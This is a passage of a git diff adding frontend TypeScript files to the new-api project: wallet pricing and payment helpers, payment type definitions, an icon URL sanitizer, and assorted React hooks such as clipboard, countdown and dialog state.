+ * Format timestamp to readable date string
+ */
+export function formatTimestamp(timestamp: number): string {
+  return formatTimestampToDate(timestamp)
+}
diff --git a/new-api/web/default/src/features/wallet/lib/format.ts b/new-api/web/default/src/features/wallet/lib/format.ts
new file mode 100644
index 0000000..c89cbbd
--- /dev/null
+++ b/new-api/web/default/src/features/wallet/lib/format.ts
@@ -0,0 +1,79 @@
+import { formatLocalCurrencyAmount } from '@/lib/currency'
+import { DEFAULT_DISCOUNT_RATE } from '../constants'
+
+// ============================================================================
+// Wallet-specific Formatting Functions
+// ============================================================================
+
+/**
+ * Format Creem price with currency symbol (USD/EUR)
+ */
+export function formatCreemPrice(
+  price: number,
+  currency: 'USD' | 'EUR'
+): string {
+  const symbol = currency === 'EUR' ? '€' : '$'
+  return `${symbol}${price.toFixed(2)}`
+}
+
+/**
+ * Format large quota numbers with K/M suffix
+ */
+export function formatQuotaShort(quota: number): string {
+  if (quota >= 1000000) {
+    return `${(quota / 1000000).toFixed(1)}M`
+  }
+  if (quota >= 1000) {
+    return `${(quota / 1000).toFixed(1)}K`
+  }
+  return quota.toString()
+}
+
+/**
+ * Format currency amount that is already in local currency.
+ * This is used for payment amounts that have been calculated via priceRatio.
+ */
+export function formatCurrency(amount: number | string): string {
+  const numeric =
+    typeof amount === 'number' ? amount : Number.parseFloat(String(amount))
+  return formatLocalCurrencyAmount(Number.isFinite(numeric) ? numeric : null, {
+    digitsLarge: 2,
+    digitsSmall: 2,
+    abbreviate: false,
+  })
+}
+
+/**
+ * Get discount label for display (e.g., "20% OFF")
+ */
+export function getDiscountLabel(discount: number): string {
+  if (discount >= DEFAULT_DISCOUNT_RATE) {
+    return ''
+  }
+  const off = Math.round((1 - discount) * 100)
+  return `${off}% OFF`
+}
+
+/**
+ * Calculate pricing details for a preset amount
+ */
+export function calculatePresetPricing(
+  presetValue: number,
+  priceRatio: number,
+  discount: number,
+  usdExchangeRate: number = 1
+) {
+  const originalPrice = presetValue * priceRatio
+  const actualPrice = originalPrice * discount
+  const savedAmount = originalPrice - actualPrice
+  const hasDiscount = discount < 1.0
+  const displayValue = presetValue * usdExchangeRate
+
+  return {
+    displayValue,
+    originalPrice,
+    actualPrice,
+    savedAmount,
+    hasDiscount,
+  }
+}
diff --git a/new-api/web/default/src/features/wallet/lib/index.ts b/new-api/web/default/src/features/wallet/lib/index.ts
new file mode 100644
index 0000000..43d8648
--- /dev/null
+++ b/new-api/web/default/src/features/wallet/lib/index.ts
@@ -0,0 +1,8 @@
+// ============================================================================
+// Wallet Library Exports
+// ============================================================================
+
+export * from './affiliate'
+export * from './format'
+export * from './payment'
+export * from './ui'
diff --git a/new-api/web/default/src/features/wallet/lib/payment.ts b/new-api/web/default/src/features/wallet/lib/payment.ts
new file mode 100644
index 0000000..42ec92b
--- /dev/null
+++ b/new-api/web/default/src/features/wallet/lib/payment.ts
@@ -0,0 +1,150 @@
+import {
+  PAYMENT_TYPES,
+  DEFAULT_PRESET_MULTIPLIERS,
+  DEFAULT_PAYMENT_TYPE,
+  DEFAULT_MIN_TOPUP,
+} from '../constants'
+import type { PresetAmount, TopupInfo } from '../types'
+
+// ============================================================================
+// Payment Processing Functions
+// ============================================================================
+
+/**
+ * Check if browser is Safari
+ */
+function isSafariBrowser(): boolean {
+  return (
+    navigator.userAgent.indexOf('Safari') > -1 &&
+    navigator.userAgent.indexOf('Chrome') < 1
+  )
+}
+
+/**
+ * Submit payment form (for non-Stripe payments)
+ */
+export function submitPaymentForm(
+  url: string,
+  params: Record<string, unknown>
+): void {
+  const form = document.createElement('form')
+  form.action = url
+  form.method = 'POST'
+
+  // Don't open in new tab for Safari
+  if (!isSafariBrowser()) {
+    form.target = '_blank'
+  }
+
+  // Add form parameters
+  Object.entries(params).forEach(([key, value]) => {
+    const input = document.createElement('input')
+    input.type = 'hidden'
+    input.name = key
+    input.value = String(value)
+    form.appendChild(input)
+  })
+
+  document.body.appendChild(form)
+  form.submit()
+  document.body.removeChild(form)
+}
+
+/**
+ * Check if payment method is Stripe
+ */
+export function isStripePayment(paymentType: string): boolean {
+  return paymentType === PAYMENT_TYPES.STRIPE
+}
+
+/**
+ * Check if payment method is Waffo Pancake
+ *
+ * Pancake is a metered-style payment that goes through a dedicated checkout
+ * URL flow rather than the generic epay form submission, so it must be
+ * special-cased in payment dispatch logic.
+ */
+export function isWaffoPancakePayment(paymentType: string): boolean {
+  return paymentType === PAYMENT_TYPES.WAFFO_PANCAKE
+}
+
+/**
+ * Get default payment type from topup info
+ */
+export function getDefaultPaymentType(topupInfo: TopupInfo | null): string {
+  if (!topupInfo) {
+    return DEFAULT_PAYMENT_TYPE
+  }
+
+  // Return first available payment method or default
+  if (topupInfo.pay_methods?.length > 0) {
+    return topupInfo.pay_methods[0].type
+  }
+
+  if (topupInfo.enable_stripe_topup) {
+    return PAYMENT_TYPES.STRIPE
+  }
+
+  if (topupInfo.enable_waffo_topup) {
+    return PAYMENT_TYPES.WAFFO
+  }
+
+  if (topupInfo.enable_waffo_pancake_topup) {
+    return PAYMENT_TYPES.WAFFO_PANCAKE
+  }
+
+  return DEFAULT_PAYMENT_TYPE
+}
+
+/**
+ * Get minimum topup amount from topup info
+ */
+export function getMinTopupAmount(topupInfo: TopupInfo | null): number {
+  if (!topupInfo) {
+    return DEFAULT_MIN_TOPUP
+  }
+
+  if (topupInfo.enable_online_topup) {
+    return topupInfo.min_topup
+  }
+
+  if (topupInfo.enable_stripe_topup) {
+    return topupInfo.stripe_min_topup
+  }
+
+  if (topupInfo.enable_waffo_topup) {
+    return topupInfo.waffo_min_topup || DEFAULT_MIN_TOPUP
+  }
+
+  if (topupInfo.enable_waffo_pancake_topup) {
+    return topupInfo.waffo_pancake_min_topup || DEFAULT_MIN_TOPUP
+  }
+
+  return DEFAULT_MIN_TOPUP
+}
+
+/**
+ * Generate preset amounts based on minimum topup
+ */
+export function generatePresetAmounts(minAmount: number): PresetAmount[] {
+  return DEFAULT_PRESET_MULTIPLIERS.map((multiplier) => ({
+    value: minAmount * multiplier,
+  }))
+}
+
+/**
+ * Merge custom preset amounts with discounts
+ */
+export function mergePresetAmounts(
+  amountOptions: number[],
+  discounts: Record<number, number>
+): PresetAmount[] {
+  if (!amountOptions || amountOptions.length === 0) {
+    return []
+  }
+
+  return amountOptions.map((amount) => ({
+    value: amount,
+    discount: discounts[amount] || 1.0,
+  }))
+}
diff --git a/new-api/web/default/src/features/wallet/lib/ui.tsx b/new-api/web/default/src/features/wallet/lib/ui.tsx
new file mode 100644
index 0000000..a5c1027
--- /dev/null
+++ b/new-api/web/default/src/features/wallet/lib/ui.tsx
@@ -0,0 +1,115 @@
+import { type ReactNode } from 'react'
+import { CreditCard, Landmark } from 'lucide-react'
+import { SiAlipay, SiWechat, SiStripe } from 'react-icons/si'
+import { PAYMENT_TYPES, PAYMENT_ICON_COLORS } from '../constants'
+
+// ============================================================================
+// UI Helper Functions
+// ============================================================================
+
+const HAS_LOCATION =
+  typeof globalThis !== 'undefined' && 'location' in globalThis
+
+/**
+ * Resolves a backend-provided image URL to http(s) only. Rejects javascript:,
+ * data:, blob:, file:, and URLs with userinfo, which are unsafe in <img src/>.
+ */
+function normalizeHttpIconUrl(raw: string | undefined | null): string | null {
+  if (!raw) return null
+  const s = raw.trim()
+  if (!s) return null
+  let url: URL
+  try {
+    url = HAS_LOCATION
+      ? new URL(s, (globalThis as { location: Location }).location.href)
+      : new URL(s)
+  } catch {
+    return null
+  }
+  if (url.protocol !== 'http:' && url.protocol !== 'https:') {
+    return null
+  }
+  if (url.username || url.password) {
+    return null
+  }
+  return url.toString()
+}
+
+/**
+ * Get payment method icon component
+ *
+ * When iconUrl is provided, render an <img/> with that URL so custom
+ * gateway logos can be configured per-method.
+ */
+export function getPaymentIcon(
+  paymentType: string | undefined,
+  className: string = 'h-4 w-4',
+  iconUrl?: string,
+  altName?: string
+): ReactNode {
+  const safeIconUrl = normalizeHttpIconUrl(iconUrl)
+  if (safeIconUrl) {
+    return (
+      <img
+        src={safeIconUrl}
+        alt={altName || paymentType || 'payment'}
+        className={className}
+        style={{ objectFit: 'contain' }}
+        loading='lazy'
+        decoding='async'
+        referrerPolicy='no-referrer'
+      />
+    )
+  }
+
+  if (!paymentType) {
+    return <CreditCard className={className} />
+  }
+
+  switch (paymentType) {
+    case PAYMENT_TYPES.ALIPAY:
+      return (
+        <SiAlipay
+          className={className}
+          style={{ color: PAYMENT_ICON_COLORS[PAYMENT_TYPES.ALIPAY] }}
+        />
+      )
+    case PAYMENT_TYPES.WECHAT:
+      return (
+        <SiWechat
+          className={className}
+          style={{ color: PAYMENT_ICON_COLORS[PAYMENT_TYPES.WECHAT] }}
+        />
+      )
+    case PAYMENT_TYPES.STRIPE:
+      return (
+        <SiStripe
+          className={className}
+          style={{ color: PAYMENT_ICON_COLORS[PAYMENT_TYPES.STRIPE] }}
+        />
+      )
+    case PAYMENT_TYPES.CREEM:
+      return (
+        <Landmark
+          className={className}
+          style={{ color: PAYMENT_ICON_COLORS[PAYMENT_TYPES.CREEM] }}
+        />
+      )
+    case PAYMENT_TYPES.WAFFO:
+      return (
+        <CreditCard
+          className={className}
+          style={{ color: PAYMENT_ICON_COLORS[PAYMENT_TYPES.WAFFO] }}
+        />
+      )
+    case PAYMENT_TYPES.WAFFO_PANCAKE:
+      return (
+        <CreditCard
+          className={className}
+          style={{ color: PAYMENT_ICON_COLORS[PAYMENT_TYPES.WAFFO_PANCAKE] }}
+        />
+      )
+    default:
+      return <CreditCard className={className} />
+  }
+}
diff --git a/new-api/web/default/src/features/wallet/types.ts b/new-api/web/default/src/features/wallet/types.ts
new file mode 100644
index 0000000..7699406
--- /dev/null
+++ b/new-api/web/default/src/features/wallet/types.ts
@@ -0,0 +1,260 @@
+// ============================================================================
+// Wallet Type Definitions
+// ============================================================================
+
+/**
+ * Generic API response
+ */
+export interface ApiResponse<T = unknown> {
+  success?: boolean
+  message?: string
+  data?: T
+}
+
+/**
+ * Standard API response types
+ */
+export type TopupInfoResponse = ApiResponse<TopupInfo>
+export type RedemptionResponse = ApiResponse<number>
+export type AmountResponse = ApiResponse<string>
+export type PaymentResponse = ApiResponse<Record<string, unknown>> & {
+  url?: string
+}
+export type StripePaymentResponse = ApiResponse<{ pay_link: string }>
+export type AffiliateCodeResponse = ApiResponse<string>
+export type AffiliateTransferResponse = ApiResponse
+export type CreemPaymentResponse = ApiResponse<{ checkout_url: string }>
+export type WaffoPaymentResponse = ApiResponse<
+  { payment_url?: string } | string
+>
+export type WaffoPancakePaymentResponse = ApiResponse<
+  | {
+      checkout_url?: string
+      session_id?: string
+      expires_at?: number | string
+      order_id?: string
+    }
+  | string
+>
+
+/**
+ * Creem product configuration
+ */
+export interface CreemProduct {
+  /** Product display name */
+  name: string
+  /** Creem product ID */
+  productId: string
+  /** Product price */
+  price: number
+  /** Quota amount to credit */
+  quota: number
+  /** Currency (USD or EUR) */
+  currency: 'USD' | 'EUR'
+}
+
+/**
+ * Creem payment request
+ */
+export interface CreemPaymentRequest {
+  /** Creem product ID */
+  product_id: string
+  /** Payment method identifier */
+  payment_method: 'creem'
+}
+
+/**
+ * Payment method configuration
+ */
+export interface PaymentMethod {
+  /** Display name of payment method */
+  name: string
+  /** Payment method type identifier */
+  type: string
+  /** Optional color for UI display */
+  color?: string
+  /** Minimum topup amount for this payment method */
+  min_topup?: number
+  /** Optional icon URL provided by backend (preferred over built-in icons) */
+  icon?: string
+}
+
+/**
+ * Waffo payment method configuration
+ */
+export interface WaffoPayMethod {
+  /** Display name of payment method */
+  name: string
+  /** Optional icon path */
+  icon?: string
+  /** Waffo pay method type */
+  payMethodType?: string
+  /** Waffo pay method name */
+  payMethodName?: string
+}
+
+/**
+ * Topup configuration information
+ */
+export interface TopupInfo {
+  /** Whether online topup is enabled */
+  enable_online_topup: boolean
+  /** Whether Stripe topup is enabled */
+  enable_stripe_topup: boolean
+  /** Available payment methods */
+  pay_methods: PaymentMethod[]
+  /** Minimum topup amount for online topup */
+  min_topup: number
+  /** Minimum topup amount for Stripe */
+  stripe_min_topup: number
+  /** Preset amount options */
+  amount_options: number[]
+  /** Discount rates by amount */
+  discount: Record<number, number>
+  /** Optional topup link for purchasing codes */
+  topup_link?: string
+  /** Whether Creem topup is enabled */
+  enable_creem_topup?: boolean
+  /** Available Creem products */
+  creem_products?: CreemProduct[]
+  /** Whether Waffo topup is enabled */
+  enable_waffo_topup?: boolean
+  /** Available Waffo payment methods */
+  waffo_pay_methods?: WaffoPayMethod[]
+  /** Minimum topup amount for Waffo */
+  waffo_min_topup?: number
+  /** Whether Waffo Pancake topup is enabled */
+  enable_waffo_pancake_topup?: boolean
+  /** Minimum topup amount for Waffo Pancake */
+  waffo_pancake_min_topup?: number
+}
+
+/**
+ * Preset amount option with optional discount
+ */
+export interface PresetAmount {
+  /** Preset amount value */
+  value: number
+  /** Optional discount rate (0-1) */
+  discount?: number
+}
+
+/**
+ * Redemption code request
+ */
+export interface RedemptionRequest {
+  /** Redemption code key */
+  key: string
+}
+
+/**
+ * Payment request parameters
+ */
+export interface PaymentRequest {
+  /** Topup amount */
+  amount: number
+  /** Payment method identifier */
+  payment_method: string
+}
+
+/**
+ * Waffo payment request parameters
+ */
+export interface WaffoPaymentRequest {
+  /** Topup amount */
+  amount: number
+  /** Optional server-side Waffo payment method index */
+  pay_method_index?: number
+}
+
+/**
+ * Waffo Pancake payment request parameters
+ */
+export interface WaffoPancakePaymentRequest {
+  /** Topup amount */
+  amount: number
+}
+
+/**
+ * Amount calculation request
+ */
+export interface AmountRequest {
+  /** Topup amount to calculate */
+  amount: number
+}
+
+/**
+ * Affiliate quota transfer request
+ */
+export interface AffiliateTransferRequest {
+  /** Quota amount to transfer */
+  quota: number
+}
+
+/**
+ * User wallet data
+ */
+export interface UserWalletData {
+  /** User ID */
+  id: number
+  /** Username */
+  username: string
+  /** Current quota balance */
+  quota: number
+  /** Total used quota */
+  used_quota: number
+  /** Total request count */
+  request_count: number
+  /** Affiliate quota (pending rewards) */
+  aff_quota: number
+  /** Total affiliate quota earned (historical) */
+  aff_history_quota: number
+  /** Number of successful affiliate invites */
+  aff_count: number
+  /** User group */
+  group: string
+}
+
+/**
+ * Topup record status
+ */
+export type TopupStatus = 'success' | 'pending' | 'expired'
+
+/**
+ * Topup billing record
+ */
+export interface TopupRecord {
+  /** Record ID */
+  id: number
+  /** User ID */
+  user_id: number
+  /** Topup amount (quota) */
+  amount: number
+  /** Payment amount (actual money paid) */
+  money: number
+  /** Trade/order number */
+  trade_no: string
+  /** Payment method type */
+  payment_method: string
+  /** Creation timestamp */
+  create_time: number
+  /** Completion timestamp */
+  complete_time?: number
+  /** Payment status */
+  status: TopupStatus
+}
+
+/**
+ * Billing history response
+ */
+export interface BillingHistoryResponse {
+  items: TopupRecord[]
+  total: number
+}
+
+/**
+ * Complete order request (admin only)
+ */
+export interface CompleteOrderRequest {
+  trade_no: string
+}
diff --git a/new-api/web/default/src/hooks/index.ts b/new-api/web/default/src/hooks/index.ts
new file mode 100644
index 0000000..678809c
--- /dev/null
+++ b/new-api/web/default/src/hooks/index.ts
@@ -0,0 +1,14 @@
+// System Configuration
+export { useSystemConfig } from './use-system-config'
+
+// Navigation
+export { useTopNavLinks } from './use-top-nav-links'
+
+// Notifications
+export { useNotifications } from './use-notifications'
+
+// Utils
+export { useDebounce } from './use-debounce'
+
+// Media Query
+export { useMediaQuery } from './use-media-query'
diff --git a/new-api/web/default/src/hooks/use-admin.ts b/new-api/web/default/src/hooks/use-admin.ts
new file mode 100644
index 0000000..610b129
--- /dev/null
+++ b/new-api/web/default/src/hooks/use-admin.ts
@@ -0,0 +1,13 @@
+/**
+ * Hook for checking admin privileges
+ */
+import { useAuthStore } from '@/stores/auth-store'
+import { ROLE } from '@/lib/roles'
+
+/**
+ * Check if current user has admin privileges
+ */
+export function useIsAdmin(): boolean {
+  const { user } = useAuthStore((state) => state.auth)
+  return (user?.role ?? 0) >= ROLE.ADMIN
+}
diff --git a/new-api/web/default/src/hooks/use-copy-to-clipboard.ts b/new-api/web/default/src/hooks/use-copy-to-clipboard.ts
new file mode 100644
index 0000000..86f17e6
--- /dev/null
+++ b/new-api/web/default/src/hooks/use-copy-to-clipboard.ts
@@ -0,0 +1,77 @@
+import { useState, useCallback, useRef, useEffect } from 'react'
+import { useTranslation } from 'react-i18next'
+import { toast } from 'sonner'
+import { copyToClipboard as copyToClipboardUtil } from '@/lib/copy-to-clipboard'
+
+type UseCopyToClipboardOptions = {
+  /** Whether to show a global toast notification (default: true) */
+  notify?: boolean
+  /** Success message (default: localized 'Copied to clipboard') */
+  successMessage?: string
+  /** Error message (default: localized 'Failed to copy to clipboard') */
+  errorMessage?: string
+  /** Time to automatically reset copiedText (milliseconds, default: 2000) */
+  resetAfterMs?: number
+}
+
+export function useCopyToClipboard(options?: UseCopyToClipboardOptions) {
+  const {
+    notify = true,
+    successMessage,
+    errorMessage,
+    resetAfterMs = 2000,
+  } = options || {}
+  const { t } = useTranslation()
+
+  const [copiedText, setCopiedText] = useState<string | null>(null)
+  const timeoutRef = useRef<ReturnType<typeof setTimeout> | undefined>(
+    undefined
+  )
+
+  useEffect(() => {
+    return () => {
+      if (timeoutRef.current) {
+        clearTimeout(timeoutRef.current)
+      }
+    }
+  }, [])
+
+  const copyToClipboard = useCallback(
+    async (text: string): Promise<boolean> => {
+      const resolvedSuccessMessage = successMessage ?? t('Copied to clipboard')
+      const resolvedErrorMessage =
+        errorMessage ?? t('Failed to copy to clipboard')
+      const success = await copyToClipboardUtil(text)
+
+      if (success) {
+        setCopiedText(text)
+        if (notify) {
+          toast.success(resolvedSuccessMessage)
+        }
+
+        // Clear previous timeout
+        if (timeoutRef.current) {
+          clearTimeout(timeoutRef.current)
+        }
+
+        // Auto-reset after 2 seconds
+        timeoutRef.current = setTimeout(() => {
+          setCopiedText(null)
+        }, resetAfterMs)
+
+        return true
+      } else {
+        // eslint-disable-next-line no-console
+        console.warn('All copy methods failed')
+        if (notify) {
+          toast.error(resolvedErrorMessage)
+        }
+        setCopiedText(null)
+        return false
+      }
+    },
+    [notify, successMessage, errorMessage, resetAfterMs, t]
+  )
+
+  return { copiedText, copyToClipboard }
+}
diff --git a/new-api/web/default/src/hooks/use-countdown.ts b/new-api/web/default/src/hooks/use-countdown.ts
new file mode 100644
index 0000000..c376a50
--- /dev/null
+++ b/new-api/web/default/src/hooks/use-countdown.ts
@@ -0,0 +1,56 @@
+import { useCallback, useEffect, useRef, useState } from 'react'
+
+export interface UseCountdownOptions {
+  initialSeconds?: number
+  autoStart?: boolean
+}
+
+export function useCountdown(options: UseCountdownOptions = {}) {
+  const { initialSeconds = 30, autoStart = false } = options
+  const [secondsLeft, setSecondsLeft] = useState<number>(initialSeconds)
+  const [isActive, setIsActive] = useState<boolean>(autoStart)
+  const timerRef = useRef<number | null>(null)
+
+  const clearTimer = useCallback(() => {
+    if (timerRef.current) {
+      window.clearInterval(timerRef.current)
+      timerRef.current = null
+    }
+  }, [])
+
+  const stop = useCallback(() => {
+    clearTimer()
+    setIsActive(false)
+  }, [clearTimer])
+
+  const start = useCallback(
+    (seconds?: number) => {
+      const total = seconds ?? initialSeconds
+      setSecondsLeft(total)
+      setIsActive(true)
+      clearTimer()
+      timerRef.current = window.setInterval(() => {
+        setSecondsLeft((s) => {
+          if (s <= 1) {
+            clearTimer()
+            setIsActive(false)
+            return initialSeconds
+          }
+          return s - 1
+        })
+      }, 1000)
+    },
+    [clearTimer, initialSeconds]
+  )
+
+  const reset = useCallback(() => {
+    stop()
+    setSecondsLeft(initialSeconds)
+  }, [initialSeconds, stop])
+
+  useEffect(() => {
+    return () => clearTimer()
+  }, [clearTimer])
+
+  return { secondsLeft, isActive, start, stop, reset }
+}
diff --git a/new-api/web/default/src/hooks/use-debounce.ts b/new-api/web/default/src/hooks/use-debounce.ts
new file mode 100644
index 0000000..e03090c
--- /dev/null
+++ b/new-api/web/default/src/hooks/use-debounce.ts
@@ -0,0 +1,23 @@
+import { useEffect, useState } from 'react'
+
+/**
+ * Debounce a value by delaying its update
+ * @param value - The value to debounce
+ * @param delay - Delay in milliseconds (default: 500ms)
+ * @returns The debounced value
+ */
+export function useDebounce<T>(value: T, delay: number = 500): T {
+  const [debouncedValue, setDebouncedValue] = useState<T>(value)
+
+  useEffect(() => {
+    const handler = setTimeout(() => {
+      setDebouncedValue(value)
+    }, delay)
+
+    return () => {
+      clearTimeout(handler)
+    }
+  }, [value, delay])
+
+  return debouncedValue
+}
diff --git a/new-api/web/default/src/hooks/use-dialog.ts b/new-api/web/default/src/hooks/use-dialog.ts
new file mode 100644
index 0000000..10f2c26
--- /dev/null
+++ b/new-api/web/default/src/hooks/use-dialog.ts
@@ -0,0 +1,168 @@
+import {
+  useState,
+  useCallback,
+  useMemo,
+  type Dispatch,
+  type SetStateAction,
+} from 'react'
+
+// ============================================================================
+// Types
+// ============================================================================
+
+export interface DialogHandlers {
+  open: () => void
+  close: () => void
+  toggle: () => void
+}
+
+export interface DialogStateHandlers {
+  reset: () => void
+  isOpen: boolean
+}
+
+export interface DialogsHandlers<T extends string> {
+  open: (key: T) => void
+  close: (key: T) => void
+  toggle: (key: T) => void
+  isOpen: (key: T) => boolean
+  closeAll: () => void
+  hasAnyOpen: boolean
+}
+
+// ============================================================================
+// Dialog State Management Hooks
+// ============================================================================
+
+/**
+ * Simple hook for managing a single dialog state with boolean value
+ * @param initialOpen Initial dialog open state (default: false)
+ * @returns Tuple of [isOpen, handlers]
+ * @example
+ * const [isOpen, handlers] = useDialog()
+ * handlers.open()
+ * handlers.close()
+ * handlers.toggle()
+ */
+export function useDialog(
+  initialOpen = false
+): readonly [boolean, DialogHandlers] {
+  const [isOpen, setIsOpen] = useState(initialOpen)
+
+  const handlers: DialogHandlers = useMemo(
+    () => ({
+      open: () => setIsOpen(true),
+      close: () => setIsOpen(false),
+      toggle: () => setIsOpen((prev) => !prev),
+    }),
+    []
+  )
+
+  return [isOpen, handlers] as const
+}
+
+/**
+ * Hook for managing dialog state with custom value types
+ * Useful for dialogs that need to track which item is being edited/viewed
+ * @param initialState Initial dialog state (default: null)
+ * @returns Tuple of [state, setState, handlers]
+ * @example
+ * const [status, setStatus, handlers] = useDialogState<"approve" | "reject">()
+ * setStatus('approve')
+ * if (handlers.isOpen) {}
+ * handlers.reset()
+ *
+ * // Or with objects:
+ * const [user, setUser, handlers] = useDialogState<User>()
+ * setUser({ id: 1, name: 'John' })
+ */
+export function useDialogState<T = unknown>(
+  initialState: T | null = null
+): readonly [
+  T | null,
+  Dispatch<SetStateAction<T | null>>,
+  DialogStateHandlers,
+] {
+  const [state, setState] = useState<T | null>(initialState)
+
+  const reset = useCallback(() => setState(null), [])
+
+  const handlers: DialogStateHandlers = useMemo(
+    () => ({
+      reset,
+      isOpen: state !== null,
+    }),
+    [state, reset]
+  )
+
+  return [state, setState, handlers] as const
+}
+
+/**
+ * Hook for managing multiple independent dialog states
+ * Useful when you have multiple dialogs that can be open simultaneously
+ * @returns Object with methods to manage multiple dialogs
+ * @example
+ * const dialogs = useDialogs<'create' | 'edit' | 'delete'>()
+ * dialogs.open('create')
+ * dialogs.close('edit')
+ * dialogs.toggle('delete')
+ * dialogs.isOpen('create')
+ * dialogs.closeAll()
+ */
+export function useDialogs<T extends string>(): DialogsHandlers<T> {
+  const [openDialogs, setOpenDialogs] = useState<Set<T>>(new Set())
+
+  const open = useCallback((key: T) => {
+    setOpenDialogs((prev) => {
+      if (prev.has(key)) return prev
+      const next = new Set(prev)
+      next.add(key)
+      return next
+    })
+  }, [])
+
+  const close = useCallback((key: T) => {
+    setOpenDialogs((prev) => {
+      if (!prev.has(key)) return prev
+      const next = new Set(prev)
+      next.delete(key)
+      return next
+    })
+  }, [])
+
+  const toggle = useCallback((key: T) => {
+    setOpenDialogs((prev) => {
+      const next = new Set(prev)
+      if (next.has(key)) {
+        next.delete(key)
+      } else {
+        next.add(key)
+      }
+      return next
+    })
+  }, [])
+
+  const closeAll = useCallback(() => {
+    setOpenDialogs((prev) => (prev.size === 0 ? prev : new Set()))
+  }, [])
+
+  const hasAnyOpen = useMemo(() => openDialogs.size > 0, [openDialogs])
+
+  return useMemo(
+    () => ({
+      open,
+      close,
+      toggle,
+      isOpen: (key: T) => openDialogs.has(key),
+      closeAll,
+      hasAnyOpen,
+    }),
+    [open, close, toggle, openDialogs, closeAll, hasAnyOpen]
+  )
+}
+
+/**
+ * @deprecated Use named import useDialogState instead
+ */
+export default useDialogState
diff --git a/new-api/web/default/src/hooks/use-hidden-click-unlock.ts b/new-api/web/default/src/hooks/use-hidden-click-unlock.ts
new file mode 100644
index 0000000..66fdbfb
--- /dev/null
+++ b/new-api/web/default/src/hooks/use-hidden-click-unlock.ts
@@ -0,0 +1,48 @@
+import { useCallback, useRef, useState } from 'react'
+
+type HiddenClickUnlockOptions = {
+  requiredClicks?: number
+  disabled?: boolean
+  onUnlock?: () => void
+}
+
+type HiddenClickUnlockResult = {
+  unlocked: boolean
+  handleClick: () => void
+  reset: () => void
+}
+
+/** Unlock hidden UI after a repeated click gesture. */
+export function useHiddenClickUnlock(
+  options: HiddenClickUnlockOptions = {}
+): HiddenClickUnlockResult {
+  const disabled = options.disabled ?? false
+  const requiredClicks = options.requiredClicks ?? 3
+  const onUnlock = options.onUnlock
+  const clickCountRef = useRef(0)
+  const [unlocked, setUnlocked] = useState(false)
+
+  const reset = useCallback((): void => {
+    clickCountRef.current = 0
+    setUnlocked(false)
+  }, [])
+
+  const handleClick = useCallback((): void => {
+    if (disabled || unlocked) return
+
+    const nextClickCount = clickCountRef.current + 1
+    clickCountRef.current = nextClickCount
+
+    if (nextClickCount >= requiredClicks) {
+      clickCountRef.current = 0
+      setUnlocked(true)
+      onUnlock?.()
+    }
+  }, [disabled, onUnlock, requiredClicks, unlocked])
+
+  return {
+    unlocked,
+    handleClick,
+    reset,
+  }
+}
diff --git a/new-api/web/default/src/hooks/use-media-query.ts b/new-api/web/default/src/hooks/use-media-query.ts
new file mode 100644
index 0000000..a294fed
--- /dev/null
+++ b/new-api/web/default/src/hooks/use-media-query.ts
@@ -0,0 +1,32 @@
+import { useSyncExternalStore } from 'react'
+
+/**
+ * React hook for responsive media queries
+ * @param query - CSS media query string (e.g., "(max-width: 640px)")
+ * @returns boolean indicating if the query matches
+ */
+export function useMediaQuery(query: string): boolean {
+  return useSyncExternalStore(
+    (onStoreChange) => {
+      // Return early if window is not available (SSR)
+      if (typeof window === 'undefined') {
+        return () => {}
+      }
+
+      const media = window.matchMedia(query)
+      media.addEventListener('change', onStoreChange)
+      return () => media.removeEventListener('change', onStoreChange)
+    },
+    () => {
+      // Client-side: return the current match state
+      if (typeof window !== 'undefined') {
+        return window.matchMedia(query).matches
+      }
+      return false
+    },
+    () => {
+      // Server-side: return false as fallback
+      return false
+    }
+  )
+}
diff --git a/new-api/web/default/src/hooks/use-minimum-loading-time.ts b/new-api/web/default/src/hooks/use-minimum-loading-time.ts
new file mode 100644
index 0000000..c36be60
--- /dev/null
+++ b/new-api/web/default/src/hooks/use-minimum-loading-time.ts
@@ -0,0 +1,33 @@
+import { useState, useEffect, useRef } from 'react'
+
+/**
+ * Ensures a loading skeleton is shown for at least `minimumTime` ms
+ * to prevent flickering when data loads too quickly.
+ */
+export function useMinimumLoadingTime(
+  loading: boolean,
+  minimumTime = 1000
+): boolean {
+  const [showSkeleton, setShowSkeleton] = useState(loading)
+  // eslint-disable-next-line react-hooks/purity
+  const loadingStartRef = useRef(Date.now())
+
+  useEffect(() => {
+    if (loading) {
+      loadingStartRef.current = Date.now()
+      setShowSkeleton(true)
+    } else {
+      const elapsed = Date.now() - loadingStartRef.current
+      const remaining = Math.max(0, minimumTime - elapsed)
+
+      if (remaining === 0) {
+        setShowSkeleton(false)
+      } else {
+        const timer = setTimeout(() => setShowSkeleton(false), remaining)
+        return () => clearTimeout(timer)
+      }
+    }
+  }, [loading, minimumTime])
+
+  return showSkeleton
+}
diff --git a/new-api/web/default/src/hooks/use-mobile.tsx b/new-api/web/default/src/hooks/use-mobile.tsx
new file mode 100644
index 0000000..4331d5c
--- /dev/null
+++ b/new-api/web/default/src/hooks/use-mobile.tsx
@@ -0,0 +1,19 @@
+import * as React from 'react'
+
+const MOBILE_BREAKPOINT = 768
+
+export function useIsMobile() {
+  const [isMobile, setIsMobile] = React.useState<boolean | undefined>(undefined)
+
+  React.useEffect(() => {
+    const mql = window.matchMedia(`(max-width: ${MOBILE_BREAKPOINT - 1}px)`)
+    const onChange = () => {
+      setIsMobile(window.innerWidth < MOBILE_BREAKPOINT)
+    }
+    mql.addEventListener('change', onChange)
+    setIsMobile(window.innerWidth < MOBILE_BREAKPOINT)
+    return () => mql.removeEventListener('change', onChange)
+  }, [])
+
+  return !!isMobile
+}
diff --git a/new-api/web/default/src/hooks/use-notifications.ts b/new-api/web/default/src/hooks/use-notifications.ts
new file mode 100644
index 0000000..136030d
--- /dev/null
+++ b/new-api/web/default/src/hooks/use-notifications.ts
@@ -0,0 +1,161 @@
+import { useState, useMemo } from 'react'
+import { useQuery } from '@tanstack/react-query'
+import { useNotificationStore } from '@/stores/notification-store'
+import { getNotice } from '@/lib/api'
+import { useStatus } from '@/hooks/use-status'
+
+function hashString(input: string): string {
+  let hash = 0
+  if (!input) return '0'
+
+  for (let i = 0; i < input.length; i += 1) {
+    const chr = input.charCodeAt(i)
+    hash = (hash << 5) - hash + chr
+    hash |= 0
+  }
+
+  return hash.toString(36)
+}
+
+/**
+ * Generate a unique key for an announcement
+ * Prefer backend id, fall back to a content hash so edits register
+ */
+function getAnnouncementKey(item: Record<string, unknown>): string {
+  if (!item) return ''
+
